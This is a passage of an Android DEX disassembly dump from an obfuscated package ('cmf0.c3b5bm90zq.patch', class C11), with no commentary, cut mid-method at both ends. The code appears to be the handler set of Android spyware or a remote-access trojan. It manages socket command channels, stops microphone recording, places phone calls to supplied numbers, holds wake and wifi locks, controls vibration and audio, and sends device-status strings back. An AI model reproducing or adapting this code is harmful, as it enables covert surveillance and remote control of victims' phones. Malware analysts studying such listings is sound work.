    00080eacinvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080eb2const-string v0, " & "
    00080eb6invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080ebcsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->c:Ljava/lang/String;
    00080ec0invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080ec6sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080ecainvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080ed0invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080ed6sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080edainvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080ee0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00080ee4invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080eeamove-result-object v1
    00080eecinvoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;)Ljava/lang/String;
    00080ef2move-result-object v0
    00080ef4invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080efasget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080efeinvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080f04sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00080f08invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00080f0emove-result-object v1
    00080f10invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/a;->c(Landroid/content/Context;)Ljava/lang/String;
    00080f16move-result-object v0
    00080f18invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080f1esget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080f22invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080f28invoke-direct {v7}, Lcmf0/c3b5bm90zq/patch/C11;->o()Ljava/lang/String;
    00080f2emove-result-object v0
    00080f30invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080f36sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080f3ainvoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080f40invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00080f46move-result-object v0
    00080f48iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C11;->J:Ljava/lang/String;
    00080f4cinvoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00080f52move-result v1
    00080f54if-nez v1, :cond_95
    00080f58invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00080f5eiput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C11;->J:Ljava/lang/String;
    00080f62goto :goto_95
    00080f64move-exception v0
    00080f66monitor-exit v7
    00080f68throw v0
    00080f6amonitor-exit v7
    00080f6creturn-void
    00080e30
    00080f6e
    00080f6e struct code_item_padding
    00080f6e padding uint16 0x0000
    00080f70
    00080f70 struct try_item
    00080f70 start_addr uint32 0x80e42
    00080f74 insn_count int 144
    00080f76 handler_off uint16 0x80f79
    00080f78
    00080f78 struct encoded_catch_handler_list
    00080f78 size int 1
    00080f79
    00080f79 struct encoded_catch_handler ← 0x80f76
    00080f79 size int64 -2
    00080f7a handlers[0].type_idx int 0x5994
    00080f7c handlers[0].addr uint32 0x80f6a
    00080f7e handlers[1].type_idx int 0x59cc
    00080f80 handlers[1].addr uint32 0x80f6a
    00080f82 catch_all_addr uint32 0x80f64
    00080f84
    00080f84cmf0.c3b5bm90zq.patch.C11::p(cmf0.c3b5bm90zq.patch.C11):
    00080f94invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->v()V
    00080f9areturn-void
    00080f84
    00080f9c
    00080f9ccmf0.c3b5bm90zq.patch.C11::p(java.lang.String):
    00080facnew-instance v0, Ljava/lang/Thread;
    00080fb0new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$25;
    00080fb4invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$25;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    00080fbainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00080fc0invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00080fc6return-void
    00080f9c
    00080fc8
    00080fc8cmf0.c3b5bm90zq.patch.C11::q():
    00080fd8const/4 v0, 0x0
    00080fdasget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->N:Landroid/os/PowerManager$WakeLock;
    00080fdeif-eqz v1, :cond_14
    00080fe2sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->N:Landroid/os/PowerManager$WakeLock;
    00080fe6invoke-virtual {v1}, Landroid/os/PowerManager$WakeLock;->isHeld()Z
    00080fecmove-result v1
    00080feeif-eqz v1, :cond_14
    00080ff2sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->N:Landroid/os/PowerManager$WakeLock;
    00080ff6invoke-virtual {v1}, Landroid/os/PowerManager$WakeLock;->release()V
    00080ffcsput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->N:Landroid/os/PowerManager$WakeLock;
    00081000sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->M:Landroid/net/wifi/WifiManager$WifiLock;
    00081004if-eqz v1, :cond_27
    00081008sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->M:Landroid/net/wifi/WifiManager$WifiLock;
    0008100cinvoke-virtual {v1}, Landroid/net/wifi/WifiManager$WifiLock;->isHeld()Z
    00081012move-result v1
    00081014if-eqz v1, :cond_27
    00081018sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->M:Landroid/net/wifi/WifiManager$WifiLock;
    0008101cinvoke-virtual {v1}, Landroid/net/wifi/WifiManager$WifiLock;->release()V
    00081022sput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->M:Landroid/net/wifi/WifiManager$WifiLock;
    00081026const/4 v1, 0x0
    00081028iput-boolean v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->I:Z
    0008102csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->B:Ljava/net/Socket;
    00081030if-eqz v1, :cond_35
    00081034sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->B:Ljava/net/Socket;
    00081038invoke-virtual {v1}, Ljava/net/Socket;->close()V
    0008103esput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->B:Ljava/net/Socket;
    00081042sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->d:Ljava/io/OutputStream;
    00081046if-eqz v1, :cond_40
    0008104asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->d:Ljava/io/OutputStream;
    0008104einvoke-virtual {v1}, Ljava/io/OutputStream;->close()V
    00081054sput-object v0, Lcmf0/c3b5bm90zq/patch/C11;->d:Ljava/io/OutputStream;
    00081058iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->C:Ljava/io/InputStreamReader;
    0008105cif-eqz v1, :cond_49
    00081060iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->C:Ljava/io/InputStreamReader;
    00081064invoke-virtual {v1}, Ljava/io/InputStreamReader;->close()V
    0008106aiput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->C:Ljava/io/InputStreamReader;
    0008106ereturn-void
    00080fc8
    00081070
    00081070 struct try_item
    00081070 start_addr uint32 0x80fda
    00081074 insn_count int 19
    00081076 handler_off uint16 0x81099
    00081078
    00081078 struct try_item
    00081078 start_addr uint32 0x81000
    0008107c insn_count int 19
    0008107e handler_off uint16 0x8109d
    00081080
    00081080 struct try_item
    00081080 start_addr uint32 0x8102c
    00081084 insn_count int 11
    00081086 handler_off uint16 0x810a1
    00081088
    00081088 struct try_item
    00081088 start_addr uint32 0x81042
    0008108c insn_count int 11
    0008108e handler_off uint16 0x810a5
    00081090
    00081090 struct try_item
    00081090 start_addr uint32 0x81058
    00081094 insn_count int 11
    00081096 handler_off uint16 0x810a9
    00081098
    00081098 struct encoded_catch_handler_list
    00081098 size int 5
    00081099
    00081099 struct encoded_catch_handler ← 0x81076
    00081099 size int64 1
    0008109a handlers[0].type_idx int 0x5994
    0008109c handlers[0].addr uint32 0x81000
    0008109d
    0008109d struct encoded_catch_handler ← 0x8107e
    0008109d size int64 1
    0008109e handlers[0].type_idx int 0x5994
    000810a0 handlers[0].addr uint32 0x81026
    000810a1
    000810a1 struct encoded_catch_handler ← 0x81086
    000810a1 size int64 1
    000810a2 handlers[0].type_idx int 0x5994
    000810a4 handlers[0].addr uint32 0x81042
    000810a5
    000810a5 struct encoded_catch_handler ← 0x8108e
    000810a5 size int64 1
    000810a6 handlers[0].type_idx int 0x5994
    000810a8 handlers[0].addr uint32 0x81058
    000810a9
    000810a9 struct encoded_catch_handler ← 0x81096
    000810a9 size int64 1
    000810aa handlers[0].type_idx int 0x5994
    000810ac handlers[0].addr uint32 0x8106e
    000810ad
    000810ad // align 0x10
    000810b0
    000810b0cmf0.c3b5bm90zq.patch.C11::q(cmf0.c3b5bm90zq.patch.C11):
    000810c0invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->w()V
    000810c6return-void
    000810b0
    000810c8
    000810c8cmf0.c3b5bm90zq.patch.C11::q(java.lang.String):
    000810d8new-instance v0, Ljava/lang/Thread;
    000810dcnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$26;
    000810e0invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$26;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000810e6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000810ecinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000810f2return-void
    000810c8
    000810f4
    000810f4cmf0.c3b5bm90zq.patch.C11::r():
    00081104iget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->S:Landroid/os/Vibrator;
    00081108if-eqz v0, :cond_9
    0008110ciget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->S:Landroid/os/Vibrator;
    00081110invoke-virtual {v0}, Landroid/os/Vibrator;->cancel()V
    00081116return-void
    000810f4
    00081118
    00081118 struct try_item
    00081118 start_addr uint32 0x81104
    0008111c insn_count int 9
    0008111e handler_off uint16 0x81121
    00081120
    00081120 struct encoded_catch_handler_list
    00081120 size int 1
    00081121
    00081121 struct encoded_catch_handler ← 0x8111e
    00081121 size int64 1
    00081122 handlers[0].type_idx int 0x5994
    00081124 handlers[0].addr uint32 0x81116
    00081125
    00081125 // align 0x8
    00081128
    00081128cmf0.c3b5bm90zq.patch.C11::r(cmf0.c3b5bm90zq.patch.C11):
    00081138invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->z()V
    0008113ereturn-void
    00081128
    00081140
    00081140cmf0.c3b5bm90zq.patch.C11::r(java.lang.String):
    00081150const-string v0, ""
    00081154if-ne v4, v0, :cond_5
    00081158return-void
    0008115ainvoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081160move-result-object v0
    00081162const-string v1, "android.permission.CALL_PHONE"
    00081166invoke-static {v0, v1}, Landroid/support/v4/a/a;->a(Landroid/content/Context;Ljava/lang/String;)I
    0008116cmove-result v0
    0008116eif-eqz v0, :cond_12
    00081172return-void
    00081174new-instance v0, Landroid/content/Intent;
    00081178const-string v1, "android.intent.action.CALL"
    0008117cinvoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
    00081182new-instance v1, Ljava/lang/StringBuilder;
    00081186invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    0008118cconst-string v2, "tel:"
    00081190invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081196invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008119cinvoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000811a2move-result-object v4
    000811a4invoke-static {v4}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
    000811aamove-result-object v4
    000811acinvoke-virtual {v0, v4}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
    000811b2const/high16 v4, 0x10000000
    000811b6invoke-virtual {v0, v4}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
    000811bcinvoke-virtual {v3, v0}, Lcmf0/c3b5bm90zq/patch/C11;->startActivity(Landroid/content/Intent;)V
    000811c2return-void
    00081140
    000811c4
    000811c4 struct try_item
    000811c4 start_addr uint32 0x8115a
    000811c8 insn_count int 52
    000811ca handler_off uint16 0x811cd
    000811cc
    000811cc struct encoded_catch_handler_list
    000811cc size int 1
    000811cd
    000811cd struct encoded_catch_handler ← 0x811ca
    000811cd size int64 1
    000811ce handlers[0].type_idx int 0x5994
    000811d0 handlers[0].addr uint32 0x811c2
    000811d1
    000811d1 // align 0x4
    000811d4
    000811d4cmf0.c3b5bm90zq.patch.C11::s():
    000811e4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000811e8invoke-virtual {v6}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    000811eemove-result-object v1
    000811f0const/16 v2, 0x80
    000811f4invoke-virtual {v0, v1, v2, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;II)Ljava/lang/String;
    000811famove-result-object v0
    000811fcnew-instance v1, Ljava/lang/StringBuilder;
    00081200invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00081206sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008120aconst-wide/16 v4, 0x43
    0008120einvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081214move-result-object v2
    00081216invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008121csget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081220invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081226const-string v2, "OK"
    0008122ainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081230sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081234invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008123asget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008123econst-wide/16 v4, 0x54
    00081242invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00081248move-result-object v2
    0008124ainvoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081250sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00081254invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008125ainvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00081260invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00081266move-result-object v0
    00081268invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    0008126ereturn-void
    000811d4
    00081270
    00081270 struct try_item
    00081270 start_addr uint32 0x811e4
    00081274 insn_count int 69
    00081276 handler_off uint16 0x81279
    00081278
    00081278 struct encoded_catch_handler_list
    00081278 size int 1
    00081279
    00081279 struct encoded_catch_handler ← 0x81276
    00081279 size int64 1
    0008127a handlers[0].type_idx int 0x5994
    0008127c handlers[0].addr uint32 0x8126e
    0008127d
    0008127d // align 0x10
    00081280
    00081280cmf0.c3b5bm90zq.patch.C11::s(cmf0.c3b5bm90zq.patch.C11):
    00081290invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->D()V
    00081296return-void
    00081280
    00081298
    00081298cmf0.c3b5bm90zq.patch.C11::s(java.lang.String):
    000812a8new-instance v0, Ljava/lang/Thread;
    000812acnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$29;
    000812b0invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$29;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000812b6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000812bcinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000812c2return-void
    00081298
    000812c4
    000812c4cmf0.c3b5bm90zq.patch.C11::t(cmf0.c3b5bm90zq.patch.C11):
    000812d4iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C11;->Y:Ljava/net/Socket;
    000812d8return-object v0
    000812c4
    000812da
    000812da // align 0x4
    000812dc
    000812dccmf0.c3b5bm90zq.patch.C11::t():
    000812ecconst/4 v0, 0x0
    000812eeiget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->o:Landroid/media/AudioRecord;
    000812f2if-eqz v1, :cond_1b
    000812f6iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C11;->V:Z
    000812faiget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->o:Landroid/media/AudioRecord;
    000812feinvoke-virtual {v1}, Landroid/media/AudioRecord;->stop()V
    00081304iget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->o:Landroid/media/AudioRecord;
    00081308invoke-virtual {v1}, Landroid/media/AudioRecord;->release()V
    0008130econst/4 v1, 0x0
    00081310iput-object v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->o:Landroid/media/AudioRecord;
    00081314const-wide/16 v1, 0x0
    00081318iput-wide v1, v3, Lcmf0/c3b5bm90zq/patch/C11;->W:J
    0008131cgoto :goto_1b
    0008131eiput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C11;->V:Z
    00081322return-void
    000812dc
    00081324
    00081324 struct try_item
    00081324 start_addr uint32 0x812ee
    00081328 insn_count int 23
    0008132a handler_off uint16 0x8132d
    0008132c
    0008132c struct encoded_catch_handler_list
    0008132c size int 1
    0008132d
    0008132d struct encoded_catch_handler ← 0x8132a
    0008132d size int64 1
    0008132e handlers[0].type_idx int 0x5994
    00081330 handlers[0].addr uint32 0x8131e
    00081331
    00081331 // align 0x4
    00081334
    00081334cmf0.c3b5bm90zq.patch.C11::u(cmf0.c3b5bm90zq.patch.C11):
    00081344iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C11;->Z:Ljava/io/OutputStream;
    00081348return-object v0
    00081334
    0008134a
    0008134a // align 0x4
    0008134c
    0008134ccmf0.c3b5bm90zq.patch.C11::u():
    0008135cnew-instance v0, Ljava/lang/Thread;
    00081360new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$34;
    00081364invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$34;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    0008136ainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00081370invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00081376return-void
    0008134c
    00081378
    00081378cmf0.c3b5bm90zq.patch.C11::v():
    00081388sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008138cconst-class v1, Lcmf0/c3b5bm90zq/patch/C5;
    00081390invoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081396move-result-object v2
    00081398invoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    0008139emove-result v0
    000813a0const/4 v1, 0x1
    000813a2if-ne v0, v1, :cond_19
    000813a6new-instance v0, Landroid/content/Intent;
    000813aaconst-class v1, Lcmf0/c3b5bm90zq/patch/C5;
    000813aeinvoke-direct {v0, v3, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000813b4invoke-virtual {v3, v0}, Lcmf0/c3b5bm90zq/patch/C11;->stopService(Landroid/content/Intent;)Z
    000813bareturn-void
    00081378
    000813bc
    000813bc struct try_item
    000813bc start_addr uint32 0x81388
    000813c0 insn_count int 25
    000813c2 handler_off uint16 0x813c5
    000813c4
    000813c4 struct encoded_catch_handler_list
    000813c4 size int 1
    000813c5
    000813c5 struct encoded_catch_handler ← 0x813c2
    000813c5 size int64 1
    000813c6 handlers[0].type_idx int 0x5994
    000813c8 handlers[0].addr uint32 0x813ba
    000813c9
    000813c9 // align 0x4
    000813cc
    000813cccmf0.c3b5bm90zq.patch.C11::v(cmf0.c3b5bm90zq.patch.C11):
    000813dcinvoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->x()V
    000813e2return-void
    000813cc
    000813e4
    000813e4cmf0.c3b5bm90zq.patch.C11::w():
    000813f4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000813f8const-class v1, Lcmf0/c3b5bm90zq/patch/C15;
    000813fcinvoke-virtual {v3}, Lcmf0/c3b5bm90zq/patch/C11;->getApplicationContext()Landroid/content/Context;
    00081402move-result-object v2
    00081404invoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    0008140amove-result v0
    0008140cconst/4 v1, 0x1
    0008140eif-ne v0, v1, :cond_19
    00081412new-instance v0, Landroid/content/Intent;
    00081416const-class v1, Lcmf0/c3b5bm90zq/patch/C15;
    0008141ainvoke-direct {v0, v3, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00081420invoke-virtual {v3, v0}, Lcmf0/c3b5bm90zq/patch/C11;->stopService(Landroid/content/Intent;)Z
    00081426return-void
    000813e4
    00081428
    00081428 struct try_item
    00081428 start_addr uint32 0x813f4
    0008142c insn_count int 25
    0008142e handler_off uint16 0x81431
    00081430
    00081430 struct encoded_catch_handler_list
    00081430 size int 1
    00081431
    00081431 struct encoded_catch_handler ← 0x8142e
    00081431 size int64 1
    00081432 handlers[0].type_idx int 0x5994
    00081434 handlers[0].addr uint32 0x81426
    00081435
    00081435 // align 0x8
    00081438
    00081438cmf0.c3b5bm90zq.patch.C11::w(cmf0.c3b5bm90zq.patch.C11):
    00081448invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->y()V
    0008144ereturn-void
    00081438
    00081450
    00081450cmf0.c3b5bm90zq.patch.C11::x():
    00081460const/4 v0, 0x0
    00081462iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->Y:Ljava/net/Socket;
    00081466if-eqz v1, :cond_c
    0008146aiget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->Y:Ljava/net/Socket;
    0008146einvoke-virtual {v1}, Ljava/net/Socket;->close()V
    00081474iput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->Y:Ljava/net/Socket;
    00081478iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->Z:Ljava/io/OutputStream;
    0008147cif-eqz v1, :cond_17
    00081480iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C11;->Z:Ljava/io/OutputStream;
    00081484invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
    0008148aiput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->Z:Ljava/io/OutputStream;
    0008148econst/4 v0, 0x0
    00081490iput-boolean v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->z:Z
    00081494return-void
    00081450
    00081496
    00081496 struct code_item_padding
    00081496 padding uint16 0x0000
    00081498
    00081498 struct try_item
    00081498 start_addr uint32 0x81462
    0008149c insn_count int 11
    0008149e handler_off uint16 0x814a9
    000814a0
    000814a0 struct try_item
    000814a0 start_addr uint32 0x81478
    000814a4 insn_count int 11
    000814a6 handler_off uint16 0x814ad
    000814a8
    000814a8 struct encoded_catch_handler_list
    000814a8 size int 2
    000814a9
    000814a9 struct encoded_catch_handler ← 0x8149e
    000814a9 size int64 1
    000814aa handlers[0].type_idx int 0x5994
    000814ac handlers[0].addr uint32 0x81478
    000814ad
    000814ad struct encoded_catch_handler ← 0x814a6
    000814ad size int64 1
    000814ae handlers[0].type_idx int 0x5994
    000814b0 handlers[0].addr uint32 0x8148e
    000814b1
    000814b1 // align 0x4
    000814b4
    000814b4cmf0.c3b5bm90zq.patch.C11::x(cmf0.c3b5bm90zq.patch.C11):
    000814c4invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->A()V
    000814careturn-void
    000814b4
    000814cc
    000814cccmf0.c3b5bm90zq.patch.C11::y():
    000814dciget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->ae:Landroid/media/MediaPlayer;
    000814e0if-eqz v0, :cond_11
    000814e4iget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->ae:Landroid/media/MediaPlayer;
    000814e8invoke-virtual {v0}, Landroid/media/MediaPlayer;->stop()V
    000814eeiget-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->ae:Landroid/media/MediaPlayer;
    000814f2invoke-virtual {v0}, Landroid/media/MediaPlayer;->release()V
    000814f8const/4 v0, 0x0
    000814faiput-object v0, v1, Lcmf0/c3b5bm90zq/patch/C11;->ae:Landroid/media/MediaPlayer;
    000814fereturn-void
    000814cc
    00081500
    00081500 struct try_item
    00081500 start_addr uint32 0x814dc
    00081504 insn_count int 2
    00081506 handler_off uint16 0x81519
    00081508
    00081508 struct try_item
    00081508 start_addr uint32 0x814e4
    0008150c insn_count int 5
    0008150e handler_off uint16 0x8151d
    00081510
    00081510 struct try_item
    00081510 start_addr uint32 0x814ee
    00081514 insn_count int 8
    00081516 handler_off uint16 0x81519
    00081518
    00081518 struct encoded_catch_handler_list
    00081518 size int 2
    00081519
    00081519 struct encoded_catch_handler ← 0x81506 0x81516
    00081519 size int64 1
    0008151a handlers[0].type_idx int 0x5994
    0008151c handlers[0].addr uint32 0x814fe
    0008151d
    0008151d struct encoded_catch_handler ← 0x8150e
    0008151d size int64 2
    0008151e handlers[0].type_idx int 0x59dc
    00081520 handlers[0].addr uint32 0x814ee
    00081521 handlers[1].type_idx int 0x5994
    00081523 handlers[1].addr uint32 0x814fe
    00081524
    00081524cmf0.c3b5bm90zq.patch.C11::y(cmf0.c3b5bm90zq.patch.C11):
    00081534invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->B()V
    0008153areturn-void
    00081524
    0008153c
    0008153ccmf0.c3b5bm90zq.patch.C11::z():
    0008154cnew-instance v0, Ljava/lang/Thread;
    00081550new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$19;
    00081554invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C11$19;-><init>(Lcmf0/c3b5bm90zq/patch/C11;)V
    0008155ainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00081560invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00081566return-void
    0008153c
    00081568
    00081568cmf0.c3b5bm90zq.patch.C11::z(cmf0.c3b5bm90zq.patch.C11):
    00081578invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->C()V
    0008157ereturn-void
    00081568
    00081580
    00081580cmf0.c3b5bm90zq.patch.C11::a(android.graphics.Bitmap, int, int):
    00081590invoke-virtual {v7}, Landroid/graphics/Bitmap;->getWidth()I
    00081596move-result v0
    00081598invoke-virtual {v7}, Landroid/graphics/Bitmap;->getHeight()I
    0008159emove-result v1
    000815a0int-to-float v2, v9
    000815a2int-to-float v0, v0
    000815a4div-float v3, v2, v0
    000815a8int-to-float v4, v8
    000815aaint-to-float v1, v1
    000815acdiv-float v5, v4, v1
    000815b0invoke-static {v3, v5}, Ljava/lang/Math;->max(FF)F
    000815b6move-result v3
    000815b8mul-float v0, v0, v3
    000815bcmul-float v3, v3, v1
    000815c0sub-float/2addr v2, v0
    000815c2const/high16 v1, 0x40000000
    000815c6div-float/2addr v2, v1
    000815c8sub-float/2addr v4, v3
    000815cadiv-float/2addr v4, v1
    000815ccnew-instance v1, Landroid/graphics/RectF;
    000815d0add-float/2addr v0, v2
